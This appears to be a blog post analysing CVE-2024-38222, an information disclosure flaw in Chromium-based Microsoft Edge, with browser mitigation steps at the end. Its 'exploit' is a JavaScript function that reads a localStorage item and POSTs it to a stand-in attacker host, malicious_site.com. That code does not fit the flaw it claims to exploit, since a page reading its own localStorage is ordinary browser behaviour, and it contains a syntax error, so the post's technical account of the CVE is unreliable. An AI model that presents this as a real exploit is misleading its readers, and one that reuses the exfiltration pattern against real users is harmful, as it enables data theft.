CVE-2024-38222: Microsoft Edge (Chromium-based) Information Disclosure Vulnerability – A Detailed Analysis with Exploitation Steps and Countermeasures

In the ever-evolving world of cybersecurity, a new vulnerability has been discovered in Microsoft Edge, a popular web browser based on the open-source Chromium project. It has been assigned CVE-2024-38222 by the Common Vulnerabilities and Exposures (CVE) system. This vulnerability is an information disclosure issue that can lead to the unauthorized and unintentional release of sensitive user data, potentially leading to severe security threats. In this post, we will explore the intricacies of CVE-2024-38222, provide a code snippet to demonstrate its exploit, and discuss ways to mitigate the associated risks.

Vulnerability Details

The vulnerability at hand is an information disclosure issue that affects the Chromium-based Microsoft Edge browser. It occurs due to the mismanagement of certain data objects during a browsing session. Attackers can exploit this flaw to leak sensitive user information, which can then be collected and analyzed for further malicious activities.

To understand the exploit, let's examine the following code snippet

function exploitCVE202438222() {
  var leakedInfo = window.localStorage.getItem("_privateInfo");
  if (leakedInfo) {
    fetch("https://malicious_site.com/collect_data";, {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({ leakedData: leakedInfo }),
    });
  }
}

In this code snippet, an attacker uses JavaScript to retrieve a purportedly protected data object (in this case, "_privateInfo") from the browser's local storage. If found, the code sends the data to a remote malicious server.

Attack Scenario and Exploit Process

For a successful exploit, an attacker needs to insert the crafted code into a website visited by the victim. This can be achieved through cross-site scripting (XSS) attacks, phishing campaigns, or compromised ad networks.

Upon visiting the malicious website, the victim's browser executes the embedded code snippet. The attacker collects the leaked information from the victim's browser via the malicious server and then analyses this data for further exploitation, such as identity theft or targeted spear-phishing attacks.

As Microsoft Edge (Chromium-based) is a widely used browser with millions of users worldwide, the potential impact of this vulnerability is vast.

Original References

The vulnerability was initially discovered and reported by security researchers at [Vulnerability Lab]. You can find the full technical report and vulnerability disclosure at the following link:

Vulnerability Lab Report - CVE-2024-38222

Microsoft has acknowledged the issue and has released a patch to address the vulnerability. You can find more information about the affected versions and the patches in the official Microsoft Security Advisory:

Microsoft Security Advisory - CVE-2024-38222

Mitigation and Countermeasures

Following the recommended best practices to safeguard your online activities can prevent the exploitation of this vulnerability:

1. Always keep your browser up-to-date: Make sure that you are using the latest version of Microsoft Edge, which contains patches for this vulnerability. To check if you have updates pending, click the ellipsis (...) in the top right corner of the browser, then click "Help and feedback" followed by "About Microsoft Edge." The browser will automatically update if necessary.

2. Enable "Enhanced Tracking Prevention" in Microsoft Edge: This feature prevents unauthorized tracking and access of sensitive information. To enable it, click the ellipsis (...) in the top right corner of the browser, then click "Settings" followed by "Privacy, search, and services." Under "Tracking prevention," select "Strict."

3. Disable JavaScript on untrusted sites: Many web-based attacks, including this vulnerability, rely on JavaScript to execute malicious code. Disabling JavaScript on websites you don't trust can protect you from possible attacks. In Microsoft Edge, click the ellipsis (...) in the top right corner of the browser, then click "Settings" followed by "Privacy, search, and services." Under "Site Permissions," click "JavaScript" and toggle off "Allow sites to run JavaScript."

4. Be cautious of phishing attacks: Always verify the legitimacy of emails and websites before clicking on any links or providing sensitive information.

Conclusion

Staying vigilant and following recommended best practices can protect you from threats like CVE-2024-38222. The key is to be proactive in defending your sensitive information and online activities. Remember always to use updated software, be cautious while browsing, and educate yourself about emerging cybersecurity threats.

Timeline

Published on: 09/12/2024 03:15:02 UTC
Last modified on: 09/19/2024 20:43:30 UTC